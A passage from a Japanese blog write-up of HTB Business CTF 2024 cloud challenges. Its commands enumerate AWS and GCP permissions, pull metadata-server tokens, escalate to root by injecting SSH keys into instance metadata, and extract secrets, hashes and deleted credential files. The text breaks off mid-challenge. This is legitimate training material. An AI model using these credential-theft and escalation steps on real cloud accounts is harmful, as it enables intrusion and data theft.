コーポレートIT推進部の山根です。もともと脆弱性診断をしていたのですが、ディフェンシブなこともやってみたくなり、今年からいわゆる情シスでセキュリティ関連業務を担当しています。CTFは大好物で、「LACCON」と呼ばれる社内CTFの運営をやっています。
この度ラックの有志でチームを組み、HTB BUSINESS CTF 2024 THE VAULT OF HOPEに参加しました。イベントの詳細やWeb・Miscカテゴリの解説については前回の記事を参照ください。 結果として 国内2位、世界8位 という快挙を達成できました。
業務でクラウドに関わる機会が多いので、勉強の一環としてCloudカテゴリのwriteupを書きました。(チームメイトが解いた問題も含まれます)
今回解説する問題の内訳は以下のとおりです。
問題名 | 難易度 | solve数 |
---|---|---|
Scurried | Very Easy | 235 |
Protrude | Easy | 91 |
MetaRooted | Easy | 103 |
CloudOfSmoke | Medium | 27 |
Asceticism | Insane | 13 |
また、HackTheBox公式のwriteupがすでに公開されています。
フラグを取得するまでの過程がとても丁寧に書かれており、Asceticism
のような高難易度の問題でも詰まることなく理解できました。
読むだけで勉強になると思いますので、CTFに参加していない方も目を通してみてはどうでしょうか?
それでは解説に入っていきます。
- [Cloud] Scurried (235 solves)
- [Cloud] Protrude (91 solves)
- [Cloud] MetaRooted (103 solves)
- [Cloud] CloudOfSmoke (27 solves)
- [Cloud] Asceticism (13 solves)
- 感想
[Cloud] Scurried (235 solves)
問題文
We have obtained leaked data pertaining to Vault 101, with suspicion that it may be linked to one of the leaders group. Your task is to analyze and extract pertinent information from the provided data. The flag is arn.
- AROAXYAFLIG2BLQFIIP34
解く
AROA
から始まるデータからarn
を求める問題です。
この問題はチームメイトが解いてくれました。チームメイトが残したメモをもとに解き直してみました。
まず、このデータが何を意味するのかを調べる必要があります。 AWSのドキュメントによると、これはAWS Unique Identifierの1つであり、ロールを意味していることがわかりました。
このロールに対応したarn
を取得する方法を調べたところ、以下の記事が役立ちました。
記事の手順を試すと、フラグが得られました。
自身のAWSマネジメントコンソールにログイン
IAM > ロール > ロールを作成 を選択
カスタム信頼ポリシーを作成する際に、問題で与えられたAROAから始まるデータを使用
- ロールを作成し、信頼されたエンティティを確認。`AROA`から始まる値が`arn`に置き換わる。
flag: HTB{arn:aws:iam::532587168180:role/vault101}
[Cloud] Protrude (91 solves)
問題文
We have obtained leaked account pertaining to Vault 101, with suspicion that it may be linked to one of the leaders group. Your task is to enumerate and see if we can infiltrate them internally.
Access key ID Secret access key Region name AKIAXYAFLIG2JE6MC2SY teWVv0GzIBKS23uozxUGmUH+muE5XB86fnZmRZXu us-east-1
解く
アカウントの調査
Access key ID
, Secret access key
, Region name
といった認証情報が与えられています。
まずはAWS CLI
でプロファイルを作成しておきます。
$ aws configure --profile protrude AWS Access Key ID [None]: AKIAXYAFLIG2JE6MC2SY AWS Secret Access Key [None]: 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 Default region name [None]: us-east-1 Default output format [None]:
プロファイルを作成しておくことで、以下のようにプロファイルを指定してAWS CLI
を叩くことができます。
$ aws sts get-caller-identity --profile protrude { "UserId": "AIDAXYAFLIG2E6UQ3YIVB", "Account": "532587168180", "Arn": "arn:aws:iam::532587168180:user/aalmodovar" }
次に、このアカウントの情報を確認します。以下のツールを使用しました。
$ python3 enumerate-iam.py --access-key AKIAXYAFLIG2JE6MC2SY --secret-key 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 2024-05-25 10:52:49,807 - 3603 - [INFO] Starting permission enumeration for access-key-id "AKIAXYAFLIG2JE6MC2SY" 2024-05-25 10:52:50,829 - 3603 - [INFO] -- Account ARN : arn:aws:iam::532587168180:user/aalmodovar 2024-05-25 10:52:50,829 - 3603 - [INFO] -- Account Id : 532587168180 2024-05-25 10:52:50,829 - 3603 - [INFO] -- Account Path: user/aalmodovar 2024-05-25 10:52:51,009 - 3603 - [INFO] Attempting common-service describe / list brute force. 2024-05-25 10:53:31,622 - 3603 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes action 2024-05-25 10:53:35,081 - 3603 - [INFO] -- dynamodb.describe_endpoints() worked! 2024-05-25 10:53:59,983 - 3603 - [INFO] -- ds.describe_directories() worked! ... (以下略)
AWS Directory Serviceを使用していることが判明したので、詳細を確認します。
$ aws ds describe-directories --profile protrude { "DirectoryDescriptions": [ { "DirectoryId": "d-9067e0513b", "Name": "vault101.wasteland.local", "ShortName": "VAULT101", "Size": "Small", "Alias": "vault101", "AccessUrl": "vault101.awsapps.com", "DnsIpAddrs": [ "172.31.87.164", "172.31.31.15" ], "Stage": "Active", "LaunchTime": 1714340834.63, "StageLastUpdatedDateTime": 1714341253.623, "Type": "SimpleAD", "VpcSettings": { "VpcId": "vpc-0d7b2c5c8509574bd", "SubnetIds": [ "subnet-0a5022ff1dfdf5518", "subnet-0574f58cd2d4f85ca" ], "SecurityGroupId": "sg-0bee7f241cef79345", "AvailabilityZones": [ "us-east-1a", "us-east-1d" ] }, "SsoEnabled": true, "DesiredNumberOfDomainControllers": 0 } ] }
ここまでの調査結果をチームに共有したあと、チームメイトがフラグを取得してくれました。 以降は私が解き直した際の手順を記載します。
WorkDocsの調査
"AccessUrl": "vault101.awsapps.com"
とあるのでアクセスしてみると、WorkDocs
というサービスを使っていることがわかります。
CLIでWorkDocs
に関する情報を調べます。
$ aws workdocs describe-activities --organization-id d-9067e0513b --profile protrude { "UserActivities": [ { "Type": "DOCUMENT_VERSION_VIEWED", "TimeStamp": 1716124532.835, "IsIndirectActivity": false, "Initiator": { "Id": "S-1-5-21-1692074632-1250882497-497425265-500&d-9067e0513b" }, "ResourceMetadata": { "Type": "document", "Name": "flag.txt", "Id": "5347a27512a4f5a1c0ed4b7e965210deecbb6b806a23034ce799614ca32a8303", "Owner": { "Id": "S-1-5-21-1692074632-1250882497-497425265-500&d-9067e0513b" } } }, ... (以下略)
flag.txt
がありました!中身を見てみましょう。
$ aws workdocs get-document --document-id "5347a27512a4f5a1c0ed4b7e965210deecbb6b806a23034ce799614ca32a8303" --profile protrude { "Metadata": { "Id": "5347a27512a4f5a1c0ed4b7e965210deecbb6b806a23034ce799614ca32a8303", "CreatorId": "S-1-5-21-1692074632-1250882497-497425265-500&d-9067e0513b", "ParentFolderId": "a640c404de3b5999c1d06cdf4eb6b7a29de60b26d1611cc8bc3757447dc49555", "CreatedTimestamp": 1716048936.962, "ModifiedTimestamp": 1716048944.393, "LatestVersionMetadata": { "Id": "1716048936962-62cd64e3c78ceac9b28d07615056620eb3c41ba49156b8f5979eac81eaa1f720", "Name": "flag.txt", "ContentType": "text/plain", "Size": 40, "Signature": "3a1339875f0d0486886f1f4da81171a0", "Status": "ACTIVE", "CreatedTimestamp": 1716048936.962, "ModifiedTimestamp": 1716048936.962, "CreatorId": "S-1-5-21-1692074632-1250882497-497425265-500&d-9067e0513b", "Thumbnail": { "LARGE": "https://gb-prod-doc-source.s3.amazonaws.com/5347a27512a4f5a1c0ed4...(以下略)
サムネイルのURLにアクセスし、画像ファイルを開くとフラグが確認できました。
flag:HTB{AWS_WORKDOCS_CAN_HAVE_USEFUL_STUFF}
[Cloud] MetaRooted (103 solves)
問題文
You have obtained unprivileged access to a Linux machine that controls one of the many vault alarm systems. In order to deactivate the alarms and proceed with your quest, you must escalate your privileges to root. You may login via SSH using the provided private key.
IP Address: 34.132.25.162 Username: vaultuser
解く
マシンの調査
SSHの情報が与えられているので、ログインしてみます。
$ ssh vaultuser@34.132.25.162 -i id_rsa Linux vault-instance.c.ctfs-417807.internal 6.1.0-21-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have no mail. Last login: Sat May 25 03:12:33 2024 from 121.32.254.149 vaultuser@vault-instance:~$
ログインできました。ここからroot
に権限昇格をしたいです。
サーバ内のファイルを調べていると、~/.ssh
が荒らされていることに気づきました。
vaultuser@vault-instance:~/.ssh$ ls aaaa gcp_instance_key.pub keyfile.json my_gcp_test_key old-google_compute_engine.pub poc.txt startup-script.sh authorized_keys google_compute_engine known_hosts my_gcp_test_key.pub poc root test.txt gcp_instance_key google_compute_engine.pub meta.txt old-google_compute_engine poc.pub root.pub
内容からして今回はGCP(Google Cloud Platform)のインスタンスだと推測できます。
GCPでの権限昇格について調査を進めると、以下の記事にたどり着きました。インスタンスのメタデータを書き換えることで権限昇格できる、という内容が書かれていました。
メタデータ書き換えによる権限昇格
まずはメタデータを書き換えることができるのかを試してみます。
トークンを取得します。
$ curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \ -H "Metadata-Flavor: Google" {"access_token":"ya29. ...(中略)... IzQba","expires_in":1952,"token_type":"Bearer"}
次に、トークンを/tmp/token
に保存します。
$ echo 'ya29. ...(中略)... IzQba' > /tmp/token
$ gcloud compute instances add-metadata vault-instance --metadata hoge=fuga Did you mean zone [us-central1-a] for instance: [vault-instance] (Y/n)? Updated [https://www.googleapis.com/compute/v1/projects/ctfs-417807/zones/us-central1-a/instances/vault-instance]. vaultuser@vault-instance:~/.ssh$ gcloud compute instances describe vault-instance Did you mean zone [us-central1-a] for instance: [vault-instance] (Y/n)? canIpForward: false ... (中略) ... machineType: https://www.googleapis.com/compute/v1/projects/ctfs-417807/zones/us-central1-a/machineTypes/e2-highcpu-4 metadata: fingerprint: YBPUf6wFaQQ= items: - key: hoge value: fuga
書き込めていることが確認できました! 記事の方法に沿って、今度はSSH鍵を書き込んでみます。
$ NEWUSER="test" $ ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P "" Generating public/private rsa key pair. Your identification has been saved in ./key Your public key has been saved in ./key.pub The key fingerprint is: SHA256:GrHcOgUeI5F6urQRBnjcphLAZ/N7+EDnnaWAasgkq8g test The key's randomart image is: +---[RSA 3072]----+ |=. ... | |+.o++. | | +o++ * | |o.= .B X . | |++.+o X S + | |.o+o + B + | |+..+ B | |oEo o | | | +----[SHA256]-----+
$ NEWKEY="$(cat ./key.pub)" $ echo "$NEWUSER:$NEWKEY" > ./meta.txt $ gcloud compute instances add-metadata vault-instance --metadata-from-file ssh-keys=meta.txt Did you mean zone [us-central1-a] for instance: [vault-instance] (Y/n)? Updated [https://www.googleapis.com/compute/v1/projects/ctfs-417807/zones/us-central1-a/instances/vault-instance].
$ ssh -i ./key "$NEWUSER"@localhost Linux vault-instance.c.ctfs-417807.internal 6.1.0-21-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. test@vault-instance:~$
書き込んだ鍵でのログインに成功しました!
この新しいユーザはgoogle-sudoers
グループに属しているため、sudo
による権限昇格が可能です。
test@vault-instance:~$ sudo -i root@vault-instance:~#
/root
を見るとflag.txt
があり、そこにフラグが書かれていました。
root@vault-instance:~# cat flag.txt HTB{iam.root.becauseiwasgivenTooManyPrivileges}
flag:HTB{iam.root.becauseiwasgivenTooManyPrivileges}
[Cloud] CloudOfSmoke (27 solves)
問題文
During an archeological excavation you came across a petroglyph with the following inscription:
{ "type": "service_account", "project_id": "ctfs-417807", "private_key_id": "40283937e0d6283436c0a82fb02589757fd9a5a2", "private_key": "-----BEGIN PRIVATE KEY----- ... (中略) ... -----END PRIVATE KEY-----\n", "client_email": "storage@ctfs-417807.iam.gserviceaccount.com", "client_id": "111433751991073581449", "auth_uri": "https://accounts.google.com/o/oauth2/auth", "token_uri": "https://oauth2.googleapis.com/token", "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/storage%40ctfs-417807.iam.gserviceaccount.com", "universe_domain": "googleapis.com" }
This carving is thought to hold the key for accessing the mythical vault in the clouds that is rumored to hold as much gold as the legendary underground vault. After a long search, you manage to find the vault at http://34.29.127.192. Can you get in?
解く
Webページの調査
URLが渡されるのでアクセスしてみると、ログイン画面が表示されます。
色々調べているうちに、画像のURLがGoogle CloudのCloud Storage
のものであることに気づきました。
バケット名がcloud-vault-assetsだと判明します。
https://storage.googleapis.com/cloud-vault-assets/img/cloud-vault.png
Cloud Storageの調査
サービスアカウントキーを使って、バケット内のファイルが列挙できないかを確認してみます。
$ gcloud auth activate-service-account storage@ctfs-417807.iam.gserviceaccount.com --key-file=key.json Activated service account credentials for: [storage@ctfs-417807.iam.gserviceaccount.com] $ gsutil ls -r gs://cloud-vault-assets/ gs://cloud-vault-assets/cloudvault-dev-files/: gs://cloud-vault-assets/cloudvault-dev-files/ gs://cloud-vault-assets/cloudvault-dev-files/app.js gs://cloud-vault-assets/cloudvault-dev-files/package.json gs://cloud-vault-assets/cloudvault-dev-files/config/: gs://cloud-vault-assets/cloudvault-dev-files/config/db.js gs://cloud-vault-assets/img/: gs://cloud-vault-assets/img/ gs://cloud-vault-assets/img/cloud-vault.png
ファイルは列挙できたのですが、ダウンロードしたファイルを見ても、肝心の認証情報や認証処理のソースコードは得られませんでした。
Secret Managerの調査
しばらく悩んでいると、チームメイトがsecretを取得できることを共有してくれました。
package.json
にて@google-cloud/secret-manager
が使われていることから、なにか重要な情報が保存されていると推測できます。
{ "name": "vault-app", "version": "0.0.0", "private": true, "scripts": { "start": "node ./bin/www" }, "dependencies": { "@google-cloud/secret-manager": "^5.4.0", ...(以下略)
確認すると、backup-key
という名前で2つの文字列が格納されていました。
$ gcloud secrets list NAME CREATED REPLICATION_POLICY LOCATIONS backup-key 2024-04-30T03:59:43 automatic - $ gcloud secrets versions list backup-key NAME STATE CREATED DESTROYED 2 enabled 2024-04-30T04:00:17 - 1 enabled 2024-04-30T03:59:45 - $ gcloud secrets versions access 1 --secret=backup-key mi@u7eij3Wae4 $ gcloud secrets versions access 2 --secret=backup-key SRe6TCDV0eo|8
Cloud Storageの深堀り
db.js
にてfirestore.json
を読み込んでいることに着目し、firestore.json
がどこかにあるはずと考えてCloud Storage
を徹底的に探すことにしました。
const { initializeApp, applicationDefault, cert } = require('firebase-admin/app'); const { getFirestore, Timestamp, FieldValue } = require('firebase-admin/firestore'); const serviceAccount = require('./firestore.json'); initializeApp({ credential: cert(serviceAccount) }); const db = getFirestore(); module.exports = db;
調べてわかったのですが、gsutil ls
にはls
コマンドと同様に-a
オプションが存在します。
-a
オプションを付けて実行すると、先ほどは表示されていなかったfirestore.json
が見つかりました!
$ gsutil ls -a gs://cloud-vault-assets/cloudvault-dev-files/config/ gs://cloud-vault-assets/cloudvault-dev-files/config/db.js#1714402948273829 gs://cloud-vault-assets/cloudvault-dev-files/config/firestore.json#1714402948237947
Firestoreの調査
db.js
の処理を参考にfirestore.json
を読み込み、Firesotore内の情報を確認します。
gs://cloud-vault-assets/
内のデータをfirestore.json
を含めすべてコピーしてから、app.js
に以下の内容を追記して実行します。
var db = require('./config/db'); async function listAllCollectionsAndDocuments() { try { const collections = await db.listCollections(); for (const collection of collections) { console.log(`Collection: ${collection.id}`); const snapshot = await collection.get(); if (snapshot.empty) { console.log(` No documents found in collection ${collection.id}.`); continue; } snapshot.forEach(doc => { console.log(` Document: ${doc.id} =>`, doc.data()); }); } } catch (error) { console.error("Error listing collections and documents:", error); } } listAllCollectionsAndDocuments().catch(console.error);
$ node app.js Collection: vault_user_store Document: sppPjk7IpkrtQyfJ0IXC => { password: '$2a$04$sJkZ52ZZVT/MnH6SWxRnUuC0ZRTeAn7kqMGftXghlU0qSqLGVy6.q', secret: 'KZZXERL4OFNHW6TBJQ7GKIJM', username: 'maximus', id: 1 }
ユーザmaximus
の認証情報が取得できました!
与えられた情報でログイン
私は真っ先にパスワードハッシュのクラックに着手したのですが、その間にチームメイトがbackup-key
でログインできることを発見していました。
maximus:mi@u7eij3Wae4
これでフラグが得られると思いきや、ワンタイムトークンによる追加認証がありました。
Firestoreに格納されていたsecret: 'KZZXERL4OFNHW6TBJQ7GKIJM'
がTOTPのsecret keyだと推測できるので、以下のサービスなどでトークンを発行します。
得られたトークンを入力することでログインできました!
flag:HTB{th3_v4ULt_1s_0n_f1r3!}
[Cloud] Asceticism (13 solves)
問題文
Upon thorough investigation, we have come across AWS Identity and Access Management (IAM) keys within a publicly accessible Git repository. Our initial suspicion is that these keys are associated with Vault11. However, we are seeking further clarification and confirmation on this matter. We kindly request your assistance in delving deeper into the situation to ascertain the precise ownership of these keys and to explore potential strategies for internally addressing any security vulnerabilities they may pose.
Access key ID Secret access key Region name AKIAXYAFLIG2DFBKVWHJ AyOOKTDrBkaHCaaGuLKlD8VNlJvfp8T/f8k/D7+U us-east-1
解法の概要
この問題はコンテスト中には解けませんでした。 upsolveとして解法を記載していくのですが、手順が非常に多くなってしまったので、先に概要を示します。 解法は公式writeupを参考にしました。
問題文にある認証情報 (kstone-dev) から、S3バケットに隠された別の認証情報 (snapper) を取得
snapper
アカウントでインスタンスとスナップショットの情報を取得スナップショットの解析で得られたAdminのNTLMハッシュでインスタンスに接続
インスタンスを調査し、メタデータから認証情報 (WindowsVM-KMS) を、AdministratorのDesktopから暗号化されたデータ (backup.ps1.enc) を取得
WindowsVM-KMS
アカウントでデータを復号し、新たな認証情報 (vaultmanager) を得るvaultmanager
アカウントでsecretを列挙し、新たな認証情報を得る (kstone)kstone
の認証情報でマネジメントコンソールにログイン。フラグをダウンロードする
解く
kstone-dev
アカウントの調査
まず、Access key ID
, Secret access key
, Region name
が記載されているので、AWS CLI
でプロファイルを登録します。
$ aws configure --profile asceticism AWS Access Key ID [None]: AKIAXYAFLIG2DFBKVWHJ AWS Secret Access Key [None]: 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 Default region name [None]: us-east-1 Default output format [None]:
次に、このアカウントで何ができるのかを知るために、enumerate-iam
を実行します。
$ python3 enumerate-iam.py --access-key AKIAXYAFLIG2DFBKVWHJ --secret-key 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 2024-05-25 15:38:03,220 - 2879755 - [INFO] Starting permission enumeration for access-key-id "AKIAXYAFLIG2DFBKVWHJ" 2024-05-25 15:38:04,313 - 2879755 - [INFO] -- Account ARN : arn:aws:iam::532587168180:user/kstone-dev 2024-05-25 15:38:04,313 - 2879755 - [INFO] -- Account Id : 532587168180 2024-05-25 15:38:04,313 - 2879755 - [INFO] -- Account Path: user/kstone-dev 2024-05-25 15:38:04,498 - 2879755 - [INFO] Attempting common-service describe / list brute force. 2024-05-25 15:38:04,798 - 2879755 - [ERROR] Remove codedeploy.get_deployment_target action 2024-05-25 15:38:07,072 - 2879755 - [ERROR] Remove codedeploy.list_deployment_targets action 2024-05-25 15:38:07,072 - 2879755 - [ERROR] Remove codedeploy.batch_get_deployment_targets action 2024-05-25 15:38:10,771 - 2879755 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes action 2024-05-25 15:38:11,546 - 2879755 - [INFO] -- dynamodb.describe_endpoints() worked! ... (以下略)
公式writeupではS3バケットを列挙できる権限が見つかるとのことでしたが、CTF終了後に試した際は見つけられませんでした。実際にバケットを列挙しようとしても失敗します。
$ aws s3 ls --profile asceticism An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied
本来は上記のコマンドが成功しvault11-reports
というバケットが見つかるはずなので、見つかったということにして続きを試していきます。
$ aws s3 ls s3://vault11-reports --profile asceticism PRE flag/ $ aws s3 ls s3://vault11-reports/flag/ --profile asceticism 2024-05-07 23:07:25 43 flag.txt $ aws s3 cp s3://vault11-reports/flag/flag.txt . --profile asceticism download failed: s3://vault11-reports/flag/flag.txt to ./flag.txt An error occurred (AccessDenied) when calling the GetObject operation: User: arn:aws:iam::532587168180:user/kstone-dev is not authorized to perform: kms:Decrypt on resource: arn:aws:kms:us-east-1:532587168180:key/d24c4a28-7014-4d49-a6c2-c4f86a68945d because no identity-based policy allows the kms:Decrypt action
flag.txtというファイルは見つかりましたが、KMSにより暗号化されているため、このままでは読めません。
S3バケットの調査
vault11-reports
バケットについて、深堀りします。
s3api
を使い、バケット内オブジェクトのバージョンを列挙します。
$ aws s3api list-object-versions --bucket vault11-reports --profile asceticism { "Versions": [ { "ETag": "\"6b564bebe58e7e0248f75e7f29d0fa92\"", "Size": 43, "StorageClass": "STANDARD", "Key": "flag/flag.txt", "VersionId": "NEFppRCQhcniRuXAMLx68l3rFLK1PYQv", "IsLatest": true, "LastModified": "2024-05-07T14:07:25.000Z", "Owner": { "DisplayName": "cloudchalls", "ID": "68fd0ca8813f6724859c6784d15f5d36a5dbb1965be025a4269b571ee1243500" } }, { "ETag": "\"d6e420ebcdf3c9a7104b7f8a2e394749\"", "Size": 94, "StorageClass": "STANDARD", "Key": "snapper_accessKeys.csv", "VersionId": "O_Ybx9qvdhhJgdcuaeQNBXy9weknoyIi", "IsLatest": false, "LastModified": "2024-05-07T14:07:25.000Z", "Owner": { "DisplayName": "cloudchalls", "ID": "68fd0ca8813f6724859c6784d15f5d36a5dbb1965be025a4269b571ee1243500" } } ], "DeleteMarkers": [ { "Owner": { "DisplayName": "cloudchalls", "ID": "68fd0ca8813f6724859c6784d15f5d36a5dbb1965be025a4269b571ee1243500" }, "Key": "snapper_accessKeys.csv", "VersionId": "cIRoz8pEt1neDMlRsQVzCqr8_cBy.fQ.", "IsLatest": true, "LastModified": "2024-05-07T15:20:15.000Z" } ], "RequestCharged": null }
snapper_accessKeys.csv
というファイルが見つかりました。
ダウンロードして中身を確認してみます。
$ aws s3api get-object --bucket vault11-reports --key snapper_accessKeys.csv --version-id O_Ybx9qvdhhJgdcuaeQNBXy9weknoyIi snapper_accessKeys.csv --profile asceticism { "AcceptRanges": "bytes", "LastModified": "Tue, 07 May 2024 14:07:25 GMT", "ContentLength": 94, "ETag": "\"d6e420ebcdf3c9a7104b7f8a2e394749\"", "VersionId": "O_Ybx9qvdhhJgdcuaeQNBXy9weknoyIi", "ContentType": "application/octet-stream", "ServerSideEncryption": "AES256", "Metadata": {} } $ cat snapper_accessKeys.csv Access key ID,Secret access key AKIAXYAFLIG2CSJQ4R5Y,BGTlUZBVjhdydUk9AMMG+X5b+1fzsvdstY8xVet6
別のアカウント情報が得られました。こちらもプロファイルに登録します。
$ aws configure --profile snapper AWS Access Key ID [None]: AKIAXYAFLIG2CSJQ4R5Y AWS Secret Access Key [None]: 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 Default region name [None]: Default output format [None]:
snapper
アカウントの調査
再びenumerate-iam
を実行し、何ができるのかを確認します。
$ python3 enumerate-iam.py --access-key AKIAXYAFLIG2CSJQ4R5Y --secret-key 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 2024-05-25 16:25:57,820 - 2890125 - [INFO] Starting permission enumeration for access-key-id "AKIAXYAFLIG2CSJQ4R5Y" 2024-05-25 16:25:58,870 - 2890125 - [INFO] -- Account ARN : arn:aws:iam::532587168180:user/snapper 2024-05-25 16:25:58,870 - 2890125 - [INFO] -- Account Id : 532587168180 2024-05-25 16:25:58,871 - 2890125 - [INFO] -- Account Path: user/snapper 2024-05-25 16:25:59,050 - 2890125 - [INFO] Attempting common-service describe / list brute force. 2024-05-25 16:26:00,369 - 2890125 - [ERROR] Remove codedeploy.batch_get_deployment_targets action 2024-05-25 16:26:00,553 - 2890125 - [ERROR] Remove codedeploy.list_deployment_targets action 2024-05-25 16:26:01,108 - 2890125 - [ERROR] Remove codedeploy.get_deployment_target action 2024-05-25 16:26:01,596 - 2890125 - [INFO] -- sts.get_caller_identity() worked! 2024-05-25 16:26:01,789 - 2890125 - [INFO] -- sts.get_session_token() worked! 2024-05-25 16:26:07,171 - 2890125 - [INFO] -- ec2.describe_instances() worked! 2024-05-25 16:26:12,246 - 2890125 - [INFO] -- dynamodb.describe_endpoints() worked! 2024-05-25 16:26:49,454 - 2890125 - [INFO] -- ec2.describe_snapshots() worked!
このアカウントではインスタンスやスナップショットを確認できるようです。 ですが、スナップショットを列挙しようとすると大量の出力が表示されます。
パブリックなスナップショットを結果から除外したいので、owner-id
でフィルタをかけます。
$ aws sts get-caller-identity --profile snapper { "UserId": "AIDAXYAFLIG2MDXEPN7XP", "Account": "532587168180", "Arn": "arn:aws:iam::532587168180:user/snapper" }
$ aws ec2 describe-snapshots --filters Name=owner-id,Values=532587168180 --region us-east-1 --profile snapper { "Snapshots": [ { "Description": "Created by CreateImage(i-0e5dabca0fa9f222f) for ami-041b49e5f82651d16", "Encrypted": false, "OwnerId": "532587168180", "Progress": "100%", "SnapshotId": "snap-04d68f6296b5893de", "StartTime": "2024-05-08T10:08:05.509Z", "State": "completed", "VolumeId": "vol-0ed252fb0ff6d55cf", "VolumeSize": 30, "StorageTier": "standard" }, { "Description": "Created by CreateImage(i-0e5dabca0fa9f222f) for ami-041b49e5f82651d16", "Encrypted": false, "OwnerId": "532587168180", "Progress": "100%", "SnapshotId": "snap-09a2dac60106057d8", "StartTime": "2024-05-08T10:08:05.509Z", "State": "completed", "VolumeId": "vol-075ee6a3f4c846e85", "VolumeSize": 1, "StorageTier": "standard" }, { "Description": "Windows Backup Drive Snapshot", "Encrypted": false, "OwnerId": "532587168180", "Progress": "100%", "SnapshotId": "snap-00197900d5ed8277e", "StartTime": "2024-05-07T15:11:58.748Z", "State": "completed", "VolumeId": "vol-075ee6a3f4c846e85", "VolumeSize": 1, "Tags": [ { "Key": "Name", "Value": "Backup" } ], "StorageTier": "standard" } ] }
Windows Backup Drive Snapshot
と書かれたスナップショットが怪しいです。
インスタンスを列挙する権限もあるので、そちらも確認してみます。
$ aws ec2 describe-instances --region us-east-1 --profile snapper { "Reservations": [ { "Groups": [], "Instances": [ { "AmiLaunchIndex": 0, "ImageId": "ami-0a62069ec7788c8be", "InstanceId": "i-0e5dabca0fa9f222f", "InstanceType": "t2.medium", "KeyName": "felamos", "LaunchTime": "2024-05-07T15:23:42.000Z", "Monitoring": { "State": "disabled" }, "Placement": { "AvailabilityZone": "us-east-1d", "GroupName": "", "Tenancy": "default" }, "Platform": "windows", "PrivateDnsName": "ip-172-31-93-160.ec2.internal", "PrivateIpAddress": "172.31.93.160", "ProductCodes": [], "PublicDnsName": "ec2-54-208-244-117.compute-1.amazonaws.com", "PublicIpAddress": "54.208.244.117", "State": { "Code": 16, "Name": "running" }, ... (以下略)
54.208.244.117
にてインスタンスが稼働していることがわかります。
スナップショットの調査
dsnapを用いて、怪しいスナップショットをダウンロードします。
$ dsnap --profile snapper get snap-00197900d5ed8277e Selected snapshot with id snap-00197900d5ed8277e Output Path: /home/ctfuser/ctf/htbctf/asceticism/enumerate-iam/snap-00197900d5ed8277e.img Truncating file to 1.0 GB
file
コマンドの実行結果より、これがブートセクタであるとわかります。
$ file snap-00197900d5ed8277e.img snap-00197900d5ed8277e.img: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0x47565888; partition 1 : ID=0x7, start-CHS (0x0,2,3), end-CHS (0x81,254,63), startsector 128, 2091008 sectors
guestfishを用いて中身を確認します。
※ここまではWSLで検証していたのですが、guestfish
でのイメージ解析に失敗したため、以降はVMWare上のParrot OSで検証しています。
$ guestfish -a snap-00197900d5ed8277e.img Welcome to guestfish, the guest filesystem shell for editing virtual machine filesystems and disk images. Type: ‘help’ for help on commands ‘man’ to read the manual ‘quit’ to quit the shell ><fs> run 100% ⟦▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒⟧ 00:00 ><fs> list-filesystems /dev/sda1: ntfs ><fs> mount /dev/sda1 / ><fs> ll / total 8 drwxrwxrwx 1 0 0 4096 May 7 15:10 . drwxr-xr-x 15 0 0 4096 May 25 08:15 .. drwxrwxrwx 1 0 0 0 May 7 15:05 System Volume Information drwxrwxrwx 1 0 0 0 May 7 15:10 WindowsImageBackup ><fs> ll '/WindowsImageBackup' total 4 drwxrwxrwx 1 0 0 0 May 7 15:10 . drwxrwxrwx 1 0 0 4096 May 7 15:10 .. drwxrwxrwx 1 0 0 0 May 7 15:11 EC2AMAZ-QLP7LVM ><fs> ll '/WindowsImageBackup/EC2AMAZ-QLP7LVM' total 5 drwxrwxrwx 1 0 0 0 May 7 15:11 . drwxrwxrwx 1 0 0 0 May 7 15:10 .. drwxrwxrwx 1 0 0 4096 May 7 15:11 Backup 2024-05-07 151007 drwxrwxrwx 1 0 0 0 May 7 15:10 Catalog drwxrwxrwx 1 0 0 0 May 7 15:11 Logs -rwxrwxrwx 1 0 0 16 May 7 15:10 MediaId ><fs> ll '/WindowsImageBackup/EC2AMAZ-QLP7LVM/Backup 2024-05-07 151007' total 566384 drwxrwxrwx 1 0 0 4096 May 7 15:11 . drwxrwxrwx 1 0 0 0 May 7 15:11 .. -rwxrwxrwx 1 0 0 574619648 May 7 15:11 9546e6c7-0000-0000-0000-100000000000.vhdx -rwxrwxrwx 1 0 0 1126 May 7 15:10 BackupSpecs.xml -rwxrwxrwx 1 0 0 776 May 7 15:10 cbf50813-4594-4ba6-8266-c076ed7c396e_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml -rwxrwxrwx 1 0 0 4078 May 7 15:11 cbf50813-4594-4ba6-8266-c076ed7c396e_Components.xml -rwxrwxrwx 1 0 0 4308 May 7 15:10 cbf50813-4594-4ba6-8266-c076ed7c396e_RegistryExcludes.xml -rwxrwxrwx 1 0 0 3138 May 7 15:10 cbf50813-4594-4ba6-8266-c076ed7c396e_Writer0bada1de-01a9-4625-8278-69e735f39dd2.xml 